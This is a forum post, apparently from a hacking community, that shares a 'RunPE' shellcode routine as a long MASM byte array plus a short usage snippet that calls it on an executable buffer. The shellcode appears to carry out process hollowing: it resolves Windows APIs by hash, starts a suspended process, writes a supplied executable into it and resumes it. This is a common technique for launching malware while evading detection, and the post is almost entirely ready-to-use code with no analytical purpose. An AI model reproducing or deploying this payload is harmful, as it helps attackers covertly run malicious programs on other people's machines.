• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

ASM [MASM] Shellcode RunPE

Status
Not open for further replies.

Expermicid

Leech
User
Joined
Oct 23, 2011
Messages
285
Reputation
0
Reaction score
255
Points
63
Credits
0
‎13 Years of Service‎
95%
[lenguaje=asm]szShellCode db 055h, 08Bh, 0ECh, 081h, 0C4h, 0A4h, 0FAh, 0FFh, 0FFh, 089h, 045h, 0FCh, 0E8h, 01Bh, 002h, 000h, 000h, 089h, 085h, 0CCh

db 0FDh, 0FFh, 0FFh, 0BBh, 0F2h, 00Fh, 056h, 0C6h, 08Bh, 095h, 0CCh, 0FDh, 0FFh, 0FFh, 0E8h, 019h, 002h, 000h, 000h, 089h

db 045h, 0F8h, 0BBh, 0A9h, 08Bh, 080h, 02Dh, 08Bh, 095h, 0CCh, 0FDh, 0FFh, 0FFh, 0E8h, 006h, 002h, 000h, 000h, 089h, 045h

db 0F4h, 0BBh, 085h, 03Bh, 0AEh, 0DBh, 08Bh, 095h, 0CCh, 0FDh, 0FFh, 0FFh, 0E8h, 0F3h, 001h, 000h, 000h, 089h, 045h, 0F0h

db 0BBh, 093h, 035h, 0DFh, 085h, 08Bh, 095h, 0CCh, 0FDh, 0FFh, 0FFh, 0E8h, 0E0h, 001h, 000h, 000h, 089h, 045h, 0ECh, 0BBh

db 08Dh, 0CBh, 0B6h, 05Dh, 08Bh, 095h, 0CCh, 0FDh, 0FFh, 0FFh, 0E8h, 0CDh, 001h, 000h, 000h, 089h, 045h, 0E8h, 0BBh, 053h

db 013h, 0C1h, 078h, 08Bh, 095h, 0CCh, 0FDh, 0FFh, 0FFh, 0E8h, 0BAh, 001h, 000h, 000h, 089h, 045h, 0E4h, 0BBh, 08Ah, 0DBh

db 0DFh, 0A5h, 08Bh, 095h, 0CCh, 0FDh, 0FFh, 0FFh, 0E8h, 0A7h, 001h, 000h, 000h, 089h, 045h, 0E0h, 0BBh, 02Eh, 005h, 050h

db 0C8h, 08Bh, 095h, 0CCh, 0FDh, 0FFh, 0FFh, 0E8h, 094h, 001h, 000h, 000h, 089h, 045h, 0DCh, 0BBh, 085h, 0A1h, 016h, 0A2h

db 08Bh, 095h, 0CCh, 0FDh, 0FFh, 0FFh, 0E8h, 081h, 001h, 000h, 000h, 0E8h, 006h, 000h, 000h, 000h, 06Eh, 074h, 064h, 06Ch

db 06Ch, 000h, 05Fh, 057h, 0FFh, 0D0h, 089h, 085h, 0D0h, 0FDh, 0FFh, 0FFh, 0BBh, 08Bh, 0E3h, 0CDh, 041h, 08Bh, 0D0h, 0E8h

db 060h, 001h, 000h, 000h, 089h, 045h, 0D8h, 0BBh, 039h, 023h, 00Dh, 02Ch, 08Bh, 095h, 0D0h, 0FDh, 0FFh, 0FFh, 0E8h, 04Dh

db 001h, 000h, 000h, 089h, 045h, 0D4h, 068h, 000h, 002h, 000h, 000h, 08Dh, 085h, 0D4h, 0FDh, 0FFh, 0FFh, 050h, 06Ah, 000h

db 0FFh, 055h, 0F8h, 06Ah, 044h, 08Dh, 085h, 088h, 0FDh, 0FFh, 0FFh, 050h, 0FFh, 055h, 0D4h, 0FFh, 055h, 0F4h, 08Bh, 0C8h

db 08Dh, 085h, 078h, 0FDh, 0FFh, 0FFh, 050h, 08Dh, 085h, 088h, 0FDh, 0FFh, 0FFh, 050h, 06Ah, 000h, 06Ah, 000h, 06Ah, 004h

db 06Ah, 000h, 06Ah, 000h, 06Ah, 000h, 051h, 08Dh, 085h, 0D4h, 0FDh, 0FFh, 0FFh, 050h, 0FFh, 055h, 0F0h, 068h, 0CCh, 002h

db 000h, 000h, 08Dh, 085h, 0A4h, 0FAh, 0FFh, 0FFh, 050h, 0FFh, 055h, 0D4h, 0C7h, 085h, 0A4h, 0FAh, 0FFh, 0FFh, 002h, 000h

db 001h, 000h, 08Dh, 085h, 0A4h, 0FAh, 0FFh, 0FFh, 050h, 0FFh, 0B5h, 07Ch, 0FDh, 0FFh, 0FFh, 0FFh, 055h, 0ECh, 064h, 0A1h

db 030h, 000h, 000h, 000h, 08Bh, 040h, 00Ch, 08Bh, 040h, 014h, 08Bh, 040h, 010h, 050h, 0FFh, 0B5h, 078h, 0FDh, 0FFh, 0FFh

db 0FFh, 055h, 0D8h, 08Bh, 07Dh, 0FCh, 003h, 07Fh, 03Ch, 06Ah, 040h, 068h, 000h, 030h, 000h, 000h, 0FFh, 077h, 050h, 0FFh

db 077h, 034h, 0FFh, 0B5h, 078h, 0FDh, 0FFh, 0FFh, 0FFh, 055h, 0E8h, 089h, 085h, 074h, 0FDh, 0FFh, 0FFh, 06Ah, 000h, 0FFh

db 077h, 054h, 0FFh, 075h, 0FCh, 0FFh, 0B5h, 074h, 0FDh, 0FFh, 0FFh, 0FFh, 0B5h, 078h, 0FDh, 0FFh, 0FFh, 0FFh, 055h, 0E4h

db 08Dh, 047h, 018h, 089h, 085h, 070h, 0FDh, 0FFh, 0FFh, 00Fh, 0B7h, 047h, 014h, 001h, 085h, 070h, 0FDh, 0FFh, 0FFh, 033h

db 0C0h, 033h, 0F6h, 033h, 0C9h, 0EBh, 029h, 06Bh, 0C6h, 028h, 003h, 085h, 070h, 0FDh, 0FFh, 0FFh, 08Bh, 09Dh, 074h, 0FDh

db 0FFh, 0FFh, 003h, 058h, 00Ch, 08Bh, 055h, 0FCh, 003h, 050h, 014h, 06Ah, 000h, 0FFh, 070h, 010h, 052h, 053h, 0FFh, 0B5h

db 078h, 0FDh, 0FFh, 0FFh, 0FFh, 055h, 0E4h, 046h, 066h, 03Bh, 077h, 006h, 072h, 0D1h, 08Bh, 085h, 074h, 0FDh, 0FFh, 0FFh

db 003h, 047h, 028h, 089h, 085h, 054h, 0FBh, 0FFh, 0FFh, 08Dh, 085h, 0A4h, 0FAh, 0FFh, 0FFh, 050h, 0FFh, 0B5h, 07Ch, 0FDh

db 0FFh, 0FFh, 0FFh, 055h, 0E0h, 0FFh, 0B5h, 07Ch, 0FDh, 0FFh, 0FFh, 0FFh, 055h, 0DCh, 0C9h, 0C3h, 064h, 0A1h, 030h, 000h

db 000h, 000h, 08Bh, 040h, 00Ch, 08Bh, 040h, 00Ch, 08Bh, 000h, 08Bh, 000h, 08Bh, 040h, 018h, 0C3h, 055h, 08Bh, 0ECh, 083h

db 0C4h, 0F4h, 052h, 089h, 055h, 0FCh, 08Bh, 04Ah, 03Ch, 003h, 0CAh, 089h, 04Dh, 0F4h, 08Bh, 049h, 078h, 003h, 0CAh, 089h

db 04Dh, 0F8h, 08Bh, 051h, 018h, 08Bh, 049h, 020h, 003h, 04Dh, 0FCh, 033h, 0FFh, 08Bh, 031h, 003h, 075h, 0FCh, 033h, 0C0h

db 051h, 0ACh, 08Bh, 0C8h, 003h, 0F8h, 0D3h, 0C7h, 085h, 0C0h, 075h, 0F5h, 059h, 03Bh, 0FBh, 074h, 010h, 083h, 0C1h, 004h

db 04Ah, 075h, 0E0h, 0BAh, 0C2h, 058h, 062h, 01Bh, 05Ah, 033h, 0C0h, 0C9h, 0C3h, 08Bh, 045h, 0FCh, 08Bh, 04Dh, 0F8h, 08Bh

db 059h, 018h, 08Bh, 049h, 024h, 003h, 0C8h, 02Bh, 0DAh, 0D1h, 0E3h, 003h, 0CBh, 00Fh, 0B7h, 019h, 08Bh, 04Dh, 0F8h, 08Bh

db 049h, 01Ch, 003h, 0C8h, 0C1h, 0E3h, 002h, 003h, 0CBh, 003h, 001h, 05Ah, 0C9h, 0C3h[/lenguaje]

Uso:

[lenguaje=asm]LEA EBX, szShellCode

MOV EAX, dwEXEArray

CALL EBX[/lenguaje]

Fuente: Opensc

 
Last edited by a moderator:
Status
Not open for further replies.
Back
Top